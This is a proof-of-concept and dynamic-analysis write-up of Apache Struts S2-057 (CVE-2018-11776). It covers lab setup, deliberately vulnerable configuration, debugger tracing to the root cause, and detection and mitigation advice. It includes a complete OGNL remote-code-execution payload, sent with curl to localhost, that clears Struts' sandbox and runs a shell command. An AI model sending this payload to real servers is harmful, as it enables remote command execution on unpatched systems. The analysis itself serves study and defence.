Apache Struts s2-057 POC and dynamic analysis

The detail about Apache Struts S2-057 Vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2018-11776
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
Ubuntu:
1. Setup the environment
1.1 System version: ubuntu 14.04.

1.2 Install apache tomcat:

sudo apt-get install tomcat7
sudo apt-get install tomcat7-docs tomcat7-admin tomcat7-examples
sudo apt-get install default-jdk

1.3 Download the vulnerable Apache struts from: https://archive.apache.org/dist/struts/2.3.34/
1.4 Extra files from the Zip file and deploy the struts-2.3.34/apps/struts2-showcase.war with tomcat manager:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
1.5 Set the “struts2-showcase.war” as ROOT application:

cd /var/lib/tomcat7/webapps
mv struts2-showcase ROOT

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
2. Make it vulnerable:
2.1 As mentioned in the CVE detail, the “alwaysSelectFullNamespace” need to equal to true. Add:

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

into

/var/lib/tomcat7/webapps/ROOT/WEB-INF/classes/struts.xml


‌‌ ‌‌ ‌‌ ‌‌ ‌‌
2.2 Base on this blog post, https://semmle.com/news/apache-struts-CVE-2018-11776, one way to setup the vulnerable application is: define a result without a namespece:
Create this action and add it to /var/lib/tomcat7/webapps/ROOT/WEB-INF/classes/struts.xml

<action name=“hello”>
<result type="redirectAction">
<param name="actionName">data.action</param>
</result>
</action>

2.3 Restart the tomcat server:
service tomcat7 restart
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
3. Exploit:
A simple OGNL expressions ${2*3}, URLencode ${2*3}:%24%7b%31%32%33%2a%31%32%33%7d

curl -v http://127.0.0.1:8080/%24%7b%32%2a%33%7d/hello.action


‌‌ ‌‌ ‌‌ ‌‌ ‌‌
MacOS:
1. Setup the environment 
System: macOS Sierra  version 10.12.6
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
1.1 Download and Install Eclipse Java EE IDE for Web Developers:  http://www.eclipse.org/ 
1.2 Download the vulnerable Apache struts from: https://archive.apache.org/dist/struts/2.3.34/
1.3 Install tomcat: brew install tomcat
1.4 Follow this video to load Apache Struts in Eclipse: https://www.youtube.com/watch?v=b38jZJqi_y8
1.5 Follow this video to load struts-2.3.34/apps/struts2-showcase.war file in Eclipse: https://www.youtube.com/watch?v=GBKzjMwQMoQ 
1.6 Configure the Eclipse project running on localhost with tomcat 9.0
1.7 Find out the tomcat directory: 

$brew ls tomcat: /usr/local/Cellar/tomcat/9.0.12/libexec/

2. Configure the vulnerable application:

Insert

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

And

<action name=“help”>
<result type="redirectAction">
<param name="actionName">data.action</param>
</result>
</action>


‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
3. Exploit
Run the application on Tomcat server:

Send the payload with curl:

curl -v '127.0.0.1:8080/test_project/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/help.action'

Which equal to:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").get Writer()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))).(#w.close())}

‌‌ ‌‌ ‌‌ ‌‌ ‌‌
The output of ‘ID‘ command in server’s response:


Dynamic Analysis:
I don’t know where to start at the beginning, because I have no idea which line of code cause this vulnerability. Here is my thought process:
The vulnerability comes from “Apache Struts2” which is a web application framework, so I should be looking for a library file. The library files for “struts2-showcase.war” application can be found in one of the folder after: unzip struts2-showcase.war
There are too many .jar file in struts2-showcase/WEB-INF/lib/ folder,I did some grep to find out the potential target file:

grep -r -i 'alwaysSelectFullNamespace' .
grep -r -i 'redirectAction' .
grep -r -i 'Namespace' .
grep -r -i 'Redirect' .
grep -r -i 'wildcard' .
grep -r -i 'OGNL' .

Base on the file name from the ‘grep’ output, this two files seem interesting:

Binary file ./struts2-core-2.3.34.jar matches
Binary file ./struts-core-1.3.10.jar matches

‌‌ ‌‌ ‌‌ ‌‌ ‌‌
After reaching this point, I realize I have source code file in “struts-2.3.34” folder. The vulnerable action is: “redirectAction”, I do a “grep -i -r ‘redirectAction’ .” and found this word only shows up in “struts-2.3.34/src/core/src/main/java/org/apache/struts2/dispatcher/ServletActionRedirectResult.java”. I figure this is the file I am looking for, then I start my dynamic analysis:
Break point at ServletActionRedirectResult class:

Sent this command in Terminal after application is running:

curl -v ‘127.0.0.1:8080/test_project/%24%7b%32%2b%32%7d/help.action’

The program stop at the breakpoint, which located in ServletActionRedirectResult.java.
The value in namespace variable is: /${2+2}
‌‌ ‌‌ ‌‌ ‌‌ ‌‌

(ServletActionRedirectResult.java)

Continue running the application step by step in Eclipse, program reach super.execute(invocation)
‌‌ ‌‌ ‌‌ ‌‌ ‌‌

(TextParseUtil.java)
Inside the super.execute() function, program reach translateVariables() function in TextParseUtil.java, the expression variable equal to “/${2+2}/data.action
‌‌ ‌‌ ‌‌ ‌‌ ‌‌

Inside the translateVariables() function, the program reach parser.evaluate(openChars, expression, ognlEval, maxLoopCount) function. The program starts to evaluate the payload.

‌‌ ‌‌ ‌‌ ‌‌ ‌‌

Inside the parser.evaluate() function
From the right side, it shows ‘o’ equals to ‘4’. The payload ${2+2} gets evaluated here and return result ‘4’:
‌‌ ‌‌ ‌‌ ‌‌ ‌‌


alwaysSelectFullNamespace?
The process above shows the detail about “namespace” get executed, but how variable namespace equal to “${2+2}” in the first place? I do a grep -i -r “alwaysSelectFullNamespace” try to find out how this setting causes vulnerability. The grep command to return only one file: “/dispatcher/mapper/DefaultActionMapper.java”
There is an If statement inDefaultActionMapper.java file:

else if (alwaysSelectFullNamespace) {
// Simply select the namespace as everything before the last slash
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);
} else {
....

If alwaysSelectFullNamespace equal to true, namespace will equal to uri.substring(0,lastSlash)

I set a break point at parseNameAndNamespace() function and start the application with the same payload. After the program hits the breakpoint:

As the screenshot shows below, when alwaysSelectFullNamespace equal to true, the program run into the if statement and set namespace variable equal to the payload  /${2+2}

‌‌ ‌‌ ‌‌ ‌‌ ‌‌
To verify my assumption, I re-run the application with both breakpoint up. The program first hits the break point at parseNameAndNamespace() function in DefaultActionMapper.java, then reach execute() function in ServletRedirectResult.java. 

The root cause of this vulnerability: if the application set “alwaysSelectFullNamespace” variable equal to True and apache struts can’t find any namespace in the request, it will take the user input as namespace. The program pass the namespace variable to a OGNL evaluation function and lead to code execution.

The document about namespace from apache struts: https://struts.apache.org/core-developers/namespace-configuration.html OGNL(from wiki): Object-Graph Navigation Language is an open-source Expression Language for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes.
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
Detection:
Since the RCE involves OGNL expression, IDS/IPS can be set up to detect OGNL expression in network traffic.
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
Mitigation:
Update Apache struts to the Version 2.5.17 or 2.3.35. The code update from Apache struts can be found here: https://github.com/apache/struts/commit/eec0d8e877dc86da4946268caf73c2f7ed5d2fc6#diff-9647a4959303ab2aa97d5eae59a00349 They fix this vulnerability by adding input validation for namespace variable.
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
Reference:
https://www.anquanke.com/post/id/157823
https://www.secjuice.com/apache-struts2-cve-2018-11776/

https://www.secjuice.com/apache-struts2-cve-2018-11776/